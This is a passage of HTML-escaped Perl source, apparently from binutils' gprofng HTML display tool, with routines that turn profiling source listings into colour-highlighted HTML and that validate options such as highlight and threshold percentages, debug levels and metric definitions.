                                              $end_target_source,
                                              $routine,
                                              \@max_metric_values,
                                              $src_times_regex,
                                              $function2_regex,
                                              $number_of_metrics,
                                              \@file_contents,
                                              \@modified_html);
  @modified_html = @{ $modified_html_ref };

  if ($end_target_source &lt; $#file_contents)
    {
      $modified_html_ref = process_non_target_source ($end_target_source+1,
                                                      $#file_contents,
                                                      $src_times_regex,
                                                      $function_regex,
                                                      $number_of_metrics,
                                                      \@file_contents,
                                                      \@modified_html);
      @modified_html = @{ $modified_html_ref };
    }

  gp_message (&quot;debug&quot;, $subr_name, &quot;completed reading source&quot;);

#------------------------------------------------------------------------------
# Add an extra line with diagnostics.
#
# TBD: The same is done in generate_dis_html but should be done only once.
#------------------------------------------------------------------------------
  if ($hp_value &gt; 0)
    {
      my $rounded_percentage = sprintf (&quot;%.1f&quot;, $hp_value);
      $threshold_line = &quot;&lt;i&gt;The setting for the highlight percentage&quot;;
      $threshold_line .= &quot; (--highlight-percentage) option:&quot;;
      $threshold_line .= &quot; &quot; . $rounded_percentage . &quot; (%)&lt;/i&gt;&quot;;
    }
  else
    {
      $threshold_line  = &quot;&lt;i&gt;The highlight percentage feature has not been&quot;;
      $threshold_line .= &quot; enabled&lt;/i&gt;&quot;;
    }

  $html_home = ${ generate_home_link (&quot;left&quot;) };
  $html_end  = ${ terminate_html_document () };

  push (@modified_html, &quot;&lt;/pre&gt;&quot;);
  push (@modified_html, &quot;&lt;br&gt;&quot;);
  push (@modified_html, $threshold_line);
  push (@modified_html, $html_home);
  push (@modified_html, &quot;&lt;br&gt;&quot;);
  push (@modified_html, $g_html_credits_line);
  push (@modified_html, $html_end);

  for my $i (0 .. $#modified_html)
    {
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;[$i] -&gt; $modified_html[$i]&quot;);
    }

#------------------------------------------------------------------------------
# Write the generated HTML text to file.
#------------------------------------------------------------------------------
  for my $i (0 .. $#modified_html)
    {
      print NEW_HTML &quot;$modified_html[$i]&quot; . &quot;\n&quot;;
    }
  close (NEW_HTML);
  close (SRC_LISTING);

  return ($found_target);

} #-- End of subroutine process_source

#------------------------------------------------------------------------------
# Process the source lines for the target function.
#------------------------------------------------------------------------------
sub process_target_source
{
  my $subr_name = get_my_name ();

  my ($start_scan, $end_scan, $target_function, $max_metric_values_ref,
      $src_times_regex, $function2_regex, $number_of_metrics,
      $file_contents_ref, $modified_html_ref) = @_;

  my @file_contents = @{ $file_contents_ref };
  my @modified_html = @{ $modified_html_ref };
  my @max_metric_values = @{ $max_metric_values_ref };

  my @components = ();

  my $colour_coded_line;
  my $colour_coded_line_ref;
  my $hot_line;
  my $input_line;
  my $line_id;
  my $modified_line;
  my $metric_values;
  my $src_code_line;
  my $src_line_no;

  gp_message (&quot;debug&quot;, $subr_name, &quot;parse and process the core loop&quot;);

  for (my $line_number=$start_scan; $line_number &lt;= $end_scan; $line_number++)
    {
      $input_line = $file_contents[$line_number];

#------------------------------------------------------------------------------
# We need to replace the &quot;&lt;&quot; symbol in the code by &quot;&amp;lt;&quot;.
#------------------------------------------------------------------------------
      $input_line =~ s/$g_less_than_regex/$g_html_less_than_regex/g;

      $line_id = extract_source_line_number ($src_times_regex,
                                             $function2_regex,
                                             $number_of_metrics,
                                             $input_line);

      gp_message (&quot;debug&quot;, $subr_name, &quot;line_number = $line_number : input_line = $input_line line_id = $line_id&quot;);

      if ($input_line =~ /$function2_regex/)
#------------------------------------------------------------------------------
# Found the function marker.
#------------------------------------------------------------------------------
        {
          if (defined ($1) and defined ($2))
            {
              my $func_name_in_file = $2;
              my $spaces = $1;
              my $boldface = $TRUE;
              gp_message (&quot;debug&quot;, $subr_name, &quot;function_name = $2&quot;);
              my $function_line       = &quot;&amp;lt;Function: &quot; . $func_name_in_file . &quot;&gt;&quot;;
              my $color_function_name = color_string (
                                          $function_line,
                                          $boldface,
                                          $g_html_color_scheme{&quot;target_function_name&quot;});
              my $ftag;
              if (exists ($g_function_tag_id{$target_function}))
                {
                  $ftag = $g_function_tag_id{$target_function};
                  gp_message (&quot;debug&quot;, $subr_name, &quot;target_function = $target_function ftag = $ftag&quot;);
                }
              else
                {
                  my $msg = &quot;no ftag found for $target_function&quot;;
                  gp_message (&quot;assertion&quot;, $subr_name, $msg);
                }
              $modified_line = &quot;&lt;a id=\&quot;&quot; . $ftag . &quot;\&quot;&gt;&lt;/a&gt;&quot;;
              $modified_line .= $spaces . &quot;&lt;i&gt;&quot; . $color_function_name . &quot;&lt;/i&gt;&quot;;
            }
        }
      elsif ($input_line =~ /$src_times_regex/)
#------------------------------------------------------------------------------
# This is a line with metric values.
#------------------------------------------------------------------------------
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;input line has metrics&quot;);

          $hot_line      = $1;
          $metric_values = $2;
          $src_line_no   = $3;
          $src_code_line = $4;

          gp_message (&quot;debug&quot;, $subr_name, &quot;hot_line = $hot_line&quot;);
          gp_message (&quot;debug&quot;, $subr_name, &quot;metric_values = $metric_values&quot;);
          gp_message (&quot;debug&quot;, $subr_name, &quot;src_line_no = $src_line_no&quot;);
          gp_message (&quot;debug&quot;, $subr_name, &quot;src_code_line = $src_code_line&quot;);

          if ($hot_line eq &quot;##&quot;)
#------------------------------------------------------------------------------
# Highlight the most expensive line.
#------------------------------------------------------------------------------
            {
              @components = split (&quot; &quot;, $input_line, 1+$number_of_metrics+2);
              $modified_line = set_background_color_string (
                                 $input_line,
                                 $g_html_color_scheme{&quot;background_color_hot&quot;});
            }
          else
            {
#------------------------------------------------------------------------------
# Highlight those lines close enough to the most expensive line.
#------------------------------------------------------------------------------
              @components = split (&quot; &quot;, $input_line, $number_of_metrics + 2);
              for my $i (0 .. $number_of_metrics-1)
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$line_number : time check components[$i] = $components[$i]&quot;);
                }

              $colour_coded_line_ref = check_metric_values ($metric_values, \@max_metric_values);

              $colour_coded_line = $ {$colour_coded_line_ref};
              if ($colour_coded_line)
                {
                  gp_message (&quot;debugXL&quot;, $subr_name, &quot;$line_number : change background colour modified_line = $modified_line&quot;);
                  $modified_line = set_background_color_string ($input_line, $g_html_color_scheme{&quot;background_color_lukewarm&quot;});
                }
              else
                {
                  $modified_line = &quot;&lt;a id=\&quot;line_&quot; . $line_id . &quot;\&quot;&gt;&lt;/a&gt;&quot;;
                  $modified_line .= &quot;$input_line&quot;;
                }
            }
        }
      else
#------------------------------------------------------------------------------
# This is a regular line that is not modified.
#------------------------------------------------------------------------------
        {
#------------------------------------------------------------------------------
# Add an id.
#------------------------------------------------------------------------------
          gp_message (&quot;debug&quot;, $subr_name, &quot;$line_number : input line is a regular line&quot;);
          $modified_line = &quot;&lt;a id=\&quot;line_&quot; . $line_id . &quot;\&quot;&gt;&lt;/a&gt;&quot;;
          $modified_line .= &quot;$input_line&quot;;
        }
      gp_message (&quot;debug&quot;, $subr_name, &quot;$line_number : mod = $modified_line&quot;);
      push (@modified_html, $modified_line);
    }

  return (\@modified_html);

} #-- End of subroutine process_target_source

#------------------------------------------------------------------------------
# Process the options.  Set associated variables and check the options for
# correctness.  For example, detect if conflicting options have been set.
#------------------------------------------------------------------------------
sub process_user_options
{
  my $subr_name = get_my_name ();

  my ($exp_dir_list_ref) = @_;

  my @exp_dir_list = @{ $exp_dir_list_ref };

  my %ignored_metrics = ();

  my $abs_path_dir;
  my @candidate_ignored_metrics = ();
  my $error_code;
  my $hp_value;
  my $msg;

  my $outputdir;

  my $target_cmd;
  my $rm_output_msg;
  my $mkdir_output_msg;
  my $time_percentage_multiplier;
  my $process_all_functions;

#------------------------------------------------------------------------------
# The -o and -O options are mutually exclusive.
#------------------------------------------------------------------------------
  my $define_new_output_dir = $g_user_settings{&quot;output&quot;}{&quot;defined&quot;};
  my $overwrite_output_dir  = $g_user_settings{&quot;overwrite&quot;}{&quot;defined&quot;};
  my $dir_o_option          = $g_user_settings{&quot;output&quot;}{&quot;current_value&quot;};
  my $dir_O_option          = $g_user_settings{&quot;overwrite&quot;}{&quot;current_value&quot;};

  if ($define_new_output_dir and $overwrite_output_dir)
    {
      $msg  = &quot;the -o/--output and -O/--overwrite options are both set, &quot; .
              &quot;but are mutually exclusive&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $msg  = &quot;(setting for -o = $dir_o_option, &quot; .
              &quot;setting for -O = $dir_O_option)&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }

#------------------------------------------------------------------------------
# The warnings option is deprecated.  Print a warning to this extent and point
# to the --nowarnings option.
#------------------------------------------------------------------------------
#------------------------------------------------------------------------------
# Handle the situation that both or one of the highlight-percentage and hp
# options are set.
#------------------------------------------------------------------------------
  if ($g_user_settings{&quot;warnings&quot;}{&quot;defined&quot;})
    {
      $msg  = &quot;&lt;br&gt;&quot; . &quot;the --warnings option has been deprecated and&quot;;
      $msg .= &quot; will be ignored&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

      if ($g_user_settings{&quot;nowarnings&quot;}{&quot;defined&quot;})
        {
          $msg  = &quot;since the --nowarnings option is also used, warnings&quot;;
          $msg .= &quot; are disabled&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
        }
      else
        {
          $msg = &quot;by default, warnings are enabled and can be disabled with&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
          $msg = &quot; the --nowarnings option&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
        }
      $g_total_warning_count++;
    }

#------------------------------------------------------------------------------
# In case both the --highlight-percentage and -hp option are set, issue a
# warning and continue with the --highlight-percentage value.
#------------------------------------------------------------------------------
  if ($g_user_settings{&quot;hp&quot;}{&quot;defined&quot;})
    {
      $msg  = &quot;&lt;br&gt;&quot; . &quot;the -hp option has been deprecated and&quot;;
      $msg .= &quot; will be ignored&quot;;
      gp_message (&quot;warning&quot;, $subr_name, $msg);

      if ($g_user_settings{&quot;highlight_percentage&quot;}{&quot;defined&quot;})
        {
          $msg  = &quot;since the --highlight-percentage option is also used,&quot;;
          $msg .= &quot; the value of &quot;;
          $msg .= $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};
          $msg .= &quot; will be applied&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
        }
      else
        {
#------------------------------------------------------------------------------
# If only the -hp option is set, we use it, because we do not want to break
# compatibility (yet) and force the user to change the option.
#------------------------------------------------------------------------------

## FUTURE          $msg  = &quot;instead, the default setting of &quot;
## FUTURE          $msg .= $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};
## FUTURE          $msg .= &quot; for the --highlight-percentage will be used&quot;;
## FUTURE          gp_message (&quot;warning&quot;, $subr_name, $msg);

## FUTURE          $msg = &quot;please use this option to set the highlighting value&quot;;
## FUTURE          gp_message (&quot;warning&quot;, $subr_name, $msg);

          $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;} =
          $g_user_settings{&quot;hp&quot;}{&quot;current_value&quot;};

          $g_user_settings{&quot;highlight_percentage&quot;}{&quot;defined&quot;} = $TRUE;

          $msg = &quot;for now, the value of &quot; .
                 $g_user_settings{&quot;hp&quot;}{&quot;current_value&quot;} .
                 &quot; for the -hp option is used, but please change the&quot; .
                 &quot; option to --highlight-percentage&quot;;
          gp_message (&quot;warning&quot;, $subr_name, $msg);
        }

      $g_total_warning_count++;
    }

#------------------------------------------------------------------------------
# Regardless of the use of the -hp option, we continue with the value for
# highlight-percentage.  Some more checks are carried out now.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# This value should be in the interval [0,100].
# the number to be positive, but the limits have not been checked yet.
#------------------------------------------------------------------------------
  $hp_value = $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};

  if (($hp_value &lt; 0) or ($hp_value &gt; 100))
    {
      $msg  = &quot;the value for the highlight percentage is set to $hp_value,&quot;;
      $msg .= &quot; but must be in the range [0, 100]&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }
  elsif ($hp_value == 0.0)
#------------------------------------------------------------------------------
# A value of zero is interpreted to mean that highlighting should be disabled.
# To make the checks for this later on easier, set it to an integer value of 0.
#------------------------------------------------------------------------------
    {
      $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;} = 0;

      $msg  = &quot;reset the highlight percentage value from 0.0 to&quot;;
      $msg .= &quot; &quot; . $g_user_settings{&quot;highlight_percentage&quot;}{&quot;current_value&quot;};
      gp_message (&quot;debug&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# The value for TP should be in the interval (0,100].  We already enforced
# the number to be positive, but the limits have not been checked yet.
#------------------------------------------------------------------------------
  my $tp_value = $g_user_settings{&quot;threshold_percentage&quot;}{&quot;current_value&quot;};

  if (($tp_value &lt; 0) or ($tp_value &gt; 100))
    {
      $msg  = &quot;the value for the total percentage is set to $tp_value,&quot;;
      $msg .=   &quot; but must be in the range (0, 100]&quot;;
      gp_message (&quot;error&quot;, $subr_name, $msg);

      $g_total_error_count++;
    }
  else
    {
      $time_percentage_multiplier = $tp_value/100.0;

# Ruud  if (($TIME_PERCENTAGE_MULTIPLIER*100.) &gt;= 100.)

      if ($tp_value == 100)
        {
          $process_all_functions = $TRUE; # ensure that all routines are handled
        }
      else
        {
          $process_all_functions = $FALSE;
        }

      $msg = &quot;value of time_percentage_multiplier = &quot; .
             $time_percentage_multiplier;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
      $msg = &quot;value of process_all_functions      = &quot; .
             ($process_all_functions ? &quot;TRUE&quot; : &quot;FALSE&quot;);
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# If imetrics has been set, split the list into the individual metrics that
# need to be excluded.  The associated hash called $ignore_metrics has the
# to be excluded metrics as an index.  The value of $TRUE assigned does not
# really matter.
#------------------------------------------------------------------------------
  if ($g_user_settings{&quot;ignore_metrics&quot;}{&quot;defined&quot;})
    {
      @candidate_ignored_metrics =
              split (&quot;:&quot;, $g_user_settings{&quot;ignore_metrics&quot;}{&quot;current_value&quot;});
    }
  for my $metric (@candidate_ignored_metrics)
    {
# TBD: bug?      $ignored_metrics{$metric} = $FALSE;
      $ignored_metrics{$metric} = $TRUE;
    }
  for my $metric (keys %ignored_metrics)
    {
      my $msg = &quot;ignored_metrics{$metric} = $ignored_metrics{$metric}&quot;;
      gp_message (&quot;debugM&quot;, $subr_name, $msg);
    }

#------------------------------------------------------------------------------
# Check if the experiment directories exist and if they do, add the absolute
# path.  This is easier in the remainder.
#------------------------------------------------------------------------------
  for my $i (0 .. $#exp_dir_list)
    {
      if (-d $exp_dir_list[$i])
        {
          $abs_path_dir = Cwd::abs_path ($exp_dir_list[$i]);
          $exp_dir_list[$i] = $abs_path_dir;

          $msg = &quot;directory $exp_dir_list[$i] exists&quot;;
          gp_message (&quot;debugM&quot;, $subr_name, $msg);
        }
    }

  return (\%ignored_metrics, $outputdir, $time_percentage_multiplier,
	  $process_all_functions, \@exp_dir_list);

} #-- End of subroutine process_user_options

#------------------------------------------------------------------------------
# This function addresses a legacy issue.
#
# In binutils 2.40, the &quot;gprofng display text&quot; tool may add a string in the
# function overviews.  This did not add any value and was disruptive to the
# output.  It has been removed in 2.41, but in order to support the older
# versions of gprofng, the string is removed before the data is processed.
#
# Note: the double space in &quot;--  no&quot; is not a typo in this code!
#------------------------------------------------------------------------------
sub remove_redundant_string
{
  my $subr_name = get_my_name ();

  my ($target_array_ref) = @_;

  my @target_array = @{ $target_array_ref };

  my $msg;
  my $redundant_string = &quot; --  no functions found&quot;;

  for (my $line = 0; $line &lt;= $#target_array; $line++)
    {
      $target_array[$line] =~ s/$redundant_string//;
    }

  $msg = &quot;removed any occurrence of &quot; . $redundant_string;
  gp_message (&quot;debugM&quot;, $subr_name, $msg);

  return (\@target_array);

} #-- End of subroutine remove_redundant_string

#------------------------------------------------------------------------------
# This is a hopefully temporary routine to disable/ignore selected user
# settings.  As the functionality expands, this list will get shorter.
#------------------------------------------------------------------------------
sub reset_selected_settings
{
  my $subr_name = get_my_name ();

  $g_locale_settings{&quot;decimal_separator&quot;} = &quot;\\.&quot;;
  $g_locale_settings{&quot;convert_to_dot&quot;}    = $FALSE;
  $g_user_settings{func_limit}{current_value} = 1000000;

  gp_message (&quot;debug&quot;, $subr_name, &quot;reset selected settings&quot;);

  return (0);

} #-- End of subroutine reset_selected_settings

#------------------------------------------------------------------------------
# There may be various different visibility characters in a metric definition.
# For example: e+%CPI.
#
# Internally we use a normalized definition that only uses the dot (e.g.
# e.CPI) as an index into the description structure.
#
# Here we reduce the incoming metric definition to the normalized form, look
# up the text, and return a pointer to it.
#------------------------------------------------------------------------------
sub retrieve_metric_description
{
  my $subr_name = get_my_name ();

  my ($metric_name_ref, $metric_description_ref) = @_;

  my $metric_name        = ${ $metric_name_ref };
  my %metric_description = %{ $metric_description_ref };

  my $description;
  my $normalized_metric;

  $metric_name =~ /([ei])([\.\+%]+)(.*)/;

  if (defined ($1) and defined ($3))
    {
      $normalized_metric = $1 . &quot;.&quot; . $3;
    }
  else
    {
      my $msg = &quot;metric $metric_name has an unknown format&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

  if (defined ($metric_description{$normalized_metric}))
    {
      $description = $metric_description{$normalized_metric};
    }
  else
    {
      my $msg = &quot;description for normalized metric $normalized_metric not found&quot;;
      gp_message (&quot;assertion&quot;, $subr_name, $msg);
    }

  return (\$description);

} #-- End of subroutine retrieve_metric_description

#------------------------------------------------------------------------------
# TBD.
#------------------------------------------------------------------------------
sub rnumerically
{
  my ($f1,$f2);
  if ($a =~ /^([^\d]*)(\d+)/)
    {
      $f1 = int ($2);
      if ($b=~ /^([^\d]*)(\d+)/)
        {
          $f2 = int ($2);
          $f1 == $f2 ? 0 : ($f1 &gt; $f2 ? -1 : +1);
        }
    }
  else
    {
      return ($b &lt;=&gt; $a);
    }
} #-- End of subroutine rnumerically

#------------------------------------------------------------------------------
# TBD: Remove - not used any longer.
# Set the architecture and associated regular expressions.
#------------------------------------------------------------------------------
sub set_arch_and_regexes
{
  my $subr_name = get_my_name ();

  my ($arch_uname) = @_;

  my $architecture_supported;

  gp_message (&quot;debug&quot;, $subr_name, &quot;arch_uname = $arch_uname&quot;);

  if ($arch_uname eq &quot;x86_64&quot;)
    {
      #x86/x64 hardware uses jump
      $architecture_supported = $TRUE;
#      $arch=&#039;x64&#039;;
#      $regex=&#039;:\s+(j).*0x[0-9a-f]+&#039;;
#      $subexp=&#039;(\[\s*)(0x[0-9a-f]+)&#039;;
#      $linksubexp=&#039;(\[\s*)(0x[0-9a-f]+)&#039;;
      gp_message (&quot;debug&quot;, $subr_name, &quot;detected $arch_uname hardware&quot;);

      $architecture_supported = $TRUE;
      $g_arch_specific_settings{&quot;arch_supported&quot;}  = $TRUE;
      $g_arch_specific_settings{&quot;arch&quot;}       = &#039;x64&#039;;
      $g_arch_specific_settings{&quot;regex&quot;}     = &#039;:\s+(j).*0x[0-9a-f]+&#039;;
      $g_arch_specific_settings{&quot;subexp&quot;}     = &#039;(\[\s*)(0x[0-9a-f]+)&#039;;
      $g_arch_specific_settings{&quot;linksubexp&quot;} = &#039;(\[\s*)(0x[0-9a-f]+)&#039;;
    }
#------------------------------------------------------------------------------
# TBD: Remove the elsif block
#------------------------------------------------------------------------------
  elsif ($arch_uname=~m/sparc/s)
    {
      #sparc hardware uses branch
      $architecture_supported = $FALSE;
#      $arch=&#039;sparc&#039;;
#      $regex=&#039;:\s+(c|b|fb).*0x[0-9a-f]+\s*$&#039;;
#      $subexp=&#039;(\s*)(0x[0-9a-f]+)\s*$&#039;;
#      $linksubexp=&#039;(\s*)(0x[0-9a-f]+\s*$)&#039;;
#      gp_message (&quot;debug&quot;, $subr_name, &quot;detected $arch_uname hardware arch = $arch - this is no longer supported&quot;);
      $architecture_supported = $FALSE;
      $g_arch_specific_settings{arch_supported}  = $FALSE;
      $g_arch_specific_settings{arch}       = &#039;sparc&#039;;
      $g_arch_specific_settings{regex}     = &#039;:\s+(c|b|fb).*0x[0-9a-f]+\s*$&#039;;
      $g_arch_specific_settings{subexp}     = &#039;(\s*)(0x[0-9a-f]+)\s*$&#039;;
      $g_arch_specific_settings{linksubexp} = &#039;(\s*)(0x[0-9a-f]+\s*$)&#039;;
    }
  else
    {
      $architecture_supported = $FALSE;
      gp_message (&quot;debug&quot;, $subr_name, &quot;detected $arch_uname hardware - this not supported; limited functionality&quot;);
    }

    return ($architecture_supported);

} #-- End of subroutine set_arch_and_regexes

#------------------------------------------------------------------------------
# Set the background color of the input string.
#
# For supported colors, see:
# https://www.w3schools.com/colors/colors_names.asp
#------------------------------------------------------------------------------
sub set_background_color_string
{
  my $subr_name = get_my_name ();

  my ($input_string, $color) = @_;

  my $background_color_string;
  my $msg;

  $msg = &quot;color = $color input_string = $input_string&quot;;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  $background_color_string = &quot;&lt;span style=&#039;background-color: &quot; . $color .
                             &quot;&#039;&gt;&quot; . $input_string . &quot;&lt;/span&gt;&quot;;

  $msg = &quot;color = $color background_color_string = &quot; .
         $background_color_string;
  gp_message (&quot;debugXL&quot;, $subr_name, $msg);

  return ($background_color_string);

} #-- End of subroutine set_background_color_string

#------------------------------------------------------------------------------
# Set the g_debug_size structure for a given value for &quot;size&quot;.  Also set the
# value in $g_user_settings{&quot;debug&quot;}{&quot;current_value&quot;}
#------------------------------------------------------------------------------
sub set_debug_size
{
  my $subr_name = get_my_name ();

  my $debug_value = lc ($g_user_settings{&quot;debug&quot;}{&quot;current_value&quot;});

#------------------------------------------------------------------------------
# Set the corresponding sizes in the table.  A value of &quot;on&quot; is equivalent to
# size &quot;s&quot;.
#------------------------------------------------------------------------------
  if (($debug_value eq &quot;on&quot;) or ($debug_value eq &quot;s&quot;))
    {
      $g_debug_size{&quot;on&quot;} = $TRUE;
      $g_debug_size{&quot;s&quot;}  = $TRUE;
    }
  elsif ($debug_value eq &quot;m&quot;)
    {
      $g_debug_size{&quot;on&quot;} = $TRUE;
      $g_debug_size{&quot;s&quot;}  = $TRUE;
      $g_debug_size{&quot;m&quot;}  = $TRUE;
    }
  elsif ($debug_value eq &quot;l&quot;)
    {
      $g_debug_size{&quot;on&quot;} = $TRUE;
      $g_debug_size{&quot;s&quot;}  = $TRUE;
      $g_debug_size{&quot;m&quot;}  = $TRUE;
      $g_debug_size{&quot;l&quot;}  = $TRUE;
    }
  elsif ($debug_value eq &quot;xl&quot;)
    {
      $g_debug_size{&quot;on&quot;} = $TRUE;
      $g_debug_size{&quot;s&quot;}  = $TRUE;
      $g_debug_size{&quot;m&quot;}  = $TRUE;
      $g_debug_size{&quot;l&quot;}  = $TRUE;
      $g_debug_size{&quot;xl&quot;} = $TRUE;
    }
  else
#------------------------------------------------------------------------------
# Any other value is considered to disable debugging.
#------------------------------------------------------------------------------
    {
##      $g_user_settings{&quot;debug&quot;}{&quot;current_value&quot;} = &quot;off&quot;;
      $g_debug            = $FALSE;
      $g_debug_size{&quot;on&quot;} = $FALSE;
      $g_debug_size{&quot;s&quot;}  = $FALSE;
      $g_debug_size{&quot;m&quot;}  = $FALSE;
      $g_debug_size{&quot;l&quot;}  = $FALSE;
      $g_debug_size{&quot;xl&quot;} = $FALSE;
    }

#------------------------------------------------------------------------------
# Activate in case of an emergency :-)
#------------------------------------------------------------------------------
  my $show_sizes = $FALSE;

  if ($show_sizes)
    {
      if ($g_debug_size{$debug_value})
        {
          for my $i (keys %g_debug_size)
            {
              print &quot;$subr_name g_debug_size{$i} = $g_debug_size{$i}\n&quot;;
            }
        }
    }

  return (0);

} #-- End of subroutine set_debug_size

#------------------------------------------------------------------------------
# This subroutine defines the default metrics.
#------------------------------------------------------------------------------
sub set_default_metrics
{
  my $subr_name = get_my_name ();

  my ($outfile1, $ignored_metrics_ref) = @_;

  my %ignored_metrics = %{ $ignored_metrics_ref };

  my %metric_description = ();
  my %metric_found       = ();

  my $detail_metrics;
  my $detail_metrics_system;

  my $call_metrics    = &quot;&quot;;
  my $summary_metrics = &quot;&quot;;

  open (METRICS, &quot;&lt;&quot;, $outfile1)
    or die (&quot;Unable to open metrics file $outfile1 for reading - &#039;$!&#039;&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;opened $outfile1 for reading&quot;);

  while (&lt;METRICS&gt;)
    {
      my $metric_line = $_;
      chomp ($metric_line);

      gp_message (&quot;debug&quot;, $subr_name,&quot;the value of metric_line = $metric_line&quot;);

#------------------------------------------------------------------------------
# Decode the metric part of the input line. If a valid line, return the
# metric components. Otherwise return &quot;skipped&quot; in the metric_spec field.
#------------------------------------------------------------------------------
      my ($metric_spec, $metric_flavor, $metric_visibility, $metric_name,
                $metric_description) = extract_metric_specifics ($metric_line);

      gp_message (&quot;debug&quot;, $subr_name, &quot;metric_spec   = $metric_spec&quot;);
      gp_message (&quot;debug&quot;, $subr_name, &quot;metric_flavor = $metric_flavor&quot;);

      if ($metric_spec eq &quot;skipped&quot;)
#------------------------------------------------------------------------------
# Not a valid input line.
#------------------------------------------------------------------------------
        {
          gp_message (&quot;debug&quot;, $subr_name, &quot;skipped line: $metric_line&quot;);
        }
      else
        {
#------------------------------------------------------------------------------
# A valid metric field has been found.
#------------------------------------------------------------------------------
          gp_message (&quot;debug&quot;, $subr_name, &quot;metric_name        = $metric_name&quot;);
          gp_message (&quot;debug&quot;, $subr_name, &quot;metric_description = $metric_description&quot;);

#        if (exists ($IMETRICS{$m})){
          if ($g_user_settings{&quot;ignore_metrics&quot;}{&quot;defined&quot;} and exists ($ignored_metrics{$metric_name}))
            {
              gp_message (&quot;debug&quot;, $subr_name, &quot;user requested to ignore metric $metric_name&quot;);
              next;
            }

#------------------------------------------------------------------------------
# Only the exclusive metric is selected.
#------------------------------------------------------------------------------
          if ($metric_flavor eq &quot;e&quot;)
            {
              $metric_found{$metric_spec}       = $TRUE;
              $metric_description{$metric_spec} = $metric_description;

# TBD: remove the -AO:
              gp_message (&quot;debug&quot;, $subr_name,&quot;-AO metric_description{$metric_spec} = $metric_description{$metric_spec}&quot;);

              $summary_metrics .= $metric_spec.&quot;:&quot;;
              $call_metrics .= &quot;a.&quot;.$metric_name.&quot;:&quot;;
            }
        }
    }
  close (METRICS);

  chop ($call_metrics);
  chop ($summary_metrics);

  $detail_metrics        = $summary_metrics;
  $detail_metrics_system = $summary_metrics;

  return (\%metric_description, \%metric_found,
         $summary_metrics, $detail_metrics, $detail_metrics_system, $call_metrics);

} #-- End of subroutine set_default_metrics

#------------------------------------------------------------------------------
# Set various system specific variables.  These depend upon both the processor
# architecture and OS. The values are stored in global structure
# g_arch_specific_settings.
#------------------------------------------------------------------------------
sub set_system_specific_variables
{
  my $subr_name = get_my_name ();

  my ($arch_uname, $arch_uname_s) = @_;

  my $elf_arch;
  my $read_elf_cmd;
  my $elf_support;
  my $architecture_supported;
  my $arch;
  my $regex;
  my $subexp;
  my $linksubexp;

  if ($arch_uname eq &quot;x86_64&quot;)
    {
#------------------------------------------------------------------------------
# x86/x64 hardware uses jump
#------------------------------------------------------------------------------
      $architecture_supported = $TRUE;
      $arch       = &#039;x64&#039;;
      $regex     =&#039;:\s+(j).*0x[0-9a-f]+&#039;;
      $subexp     =&#039;(\[\s*)(0x[0-9a-f]+)&#039;;
      $linksubexp =&#039;(\[\s*)(0x[0-9a-f]+)&#039;;

#      gp_message (&quot;debug&quot;, $subr_name, &quot;detected $arch_uname hardware arch = $arch&quot;);

      $g_arch_specific_settings{&quot;arch_supported&quot;} = $TRUE;
      $g_arch_specific_settings{&quot;arch&quot;}           = &#039;x64&#039;;
#------------------------------------------------------------------------------
# Define the regular expressions to parse branch instructions.
#------------------------------------------------------------------------------

#------------------------------------------------------------------------------
# TBD: Need much more than these
#------------------------------------------------------------------------------
      $g_arch_specific_settings{&quot;regex&quot;} = &#039;\.*([0-9a-fA-F]*):\s+(j).*\s*0x([0-9a-fA-F]+)&#039;;
      $g_arch_specific_settings{&quot;subexp&quot;} = &#039;(0x[0-9a-f]+)&#039;;
      $g_arch_specific_settings{&quot;linksubexp&quot;} = &#039;(\s*)(0x[0-9a-f]+)&#039;;
    }
  else
    {
      $architecture_supported = $FALSE;
      $g_arch_specific_settings{&quot;arch_supported&quot;}  = $FALSE;
    }

#------------------------------------------------------------------------------
# TBD Ruud: need to handle this better
#------------------------------------------------------------------------------
  if ($arch_uname_s eq &quot;Linux&quot;)
    {
      $elf_arch     = $arch_uname_s;
      $read_elf_cmd = $g_mapped_cmds{&quot;readelf&quot;};

      if ($read_elf_cmd eq &quot;road to nowhere&quot;)
        {
          $elf_support = $FALSE;
        }
      else
        {
          $elf_support = $TRUE;
        }
      gp_message (&quot;debugXL&quot;, $subr_name, &quot;elf_support = $elf_support read_elf_cmd = $read_elf_cmd elf_arch = $elf_arch&quot;);
    }
  else
    {
      gp_message (&quot;abort&quot;, $subr_name, &quot;the $arch_uname_s operating system is not supported&quot;);
    }

  return ($architecture_supported, $elf_arch, $elf_support);

} #-- End of subroutine set_system_specific_variables

#------------------------------------------------------------------------------
# TBD
#------------------------------------------------------------------------------
sub set_title
{
  my $subr_name = get_my_name ();

  my ($function_info_ref, $func, $from_where) = @_ ;

  my $msg;
  my @function_info = @{$function_info_ref};
  my $filename = $func ;

  my $base;
  my $first_line;
  my $file_is_empty;
  my $src_file;
  my $RI;
  my $the_title;
  my $routine = &quot;?&quot;;
  my $DIS;
  my $SRC;

  chomp ($filename);

  $base = get_basename ($filename);

  gp_message (&quot;debug&quot;, $subr_name, &quot;from_where = $from_where&quot;);
  gp_message (&quot;debug&quot;, $subr_name, &quot;base = $base filename = $filename&quot;);

